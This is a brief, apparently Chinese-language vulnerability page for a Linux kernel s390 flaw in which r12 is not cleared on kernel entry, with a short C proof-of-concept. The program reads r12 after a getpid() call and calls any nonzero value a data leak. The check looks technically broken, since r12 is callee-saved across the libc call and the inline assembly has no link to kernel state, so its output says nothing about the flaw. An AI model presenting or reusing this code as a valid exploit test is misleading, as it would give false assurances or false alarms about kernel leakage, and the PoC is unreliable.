CVE-2026-31482 Linux内核s390入口r12寄存器未清零漏洞

// PoC for CVE-2026-31482: Check r12 register value after syscall // Compile with: gcc -o poc_r12 poc_r12.c // Target: s390 Architecture #include <stdio.h> #include <unistd.h> #include <sys/syscall.h> int main() { unsigned long r12_value; printf("[*] Checking r12 register content after syscall...\n"); // Perform a syscall to trigger kernel entry getpid(); // Inline assembly to read r12 (specific to s390 architecture) asm volatile ( "lgr %0, 12" // Load r12 into output operand : "=r" (r12_value) ); printf("[+] r12 value: 0x%lx\n", r12_value); // If r12 is not zero, it might contain leaked data if (r12_value != 0) { printf("[!] Potential data leakage detected in r12!\n"); } else { printf("[+] r12 is zero (scrubbed).\n"); } return 0; }